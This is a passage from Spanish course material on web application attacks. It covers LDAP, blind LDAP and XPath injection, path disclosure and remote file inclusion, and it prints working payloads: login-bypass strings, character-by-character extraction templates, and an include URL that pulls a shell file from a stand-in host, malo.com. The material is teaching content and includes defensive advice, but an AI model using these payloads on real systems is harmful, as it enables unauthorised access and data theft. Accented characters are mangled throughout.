Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
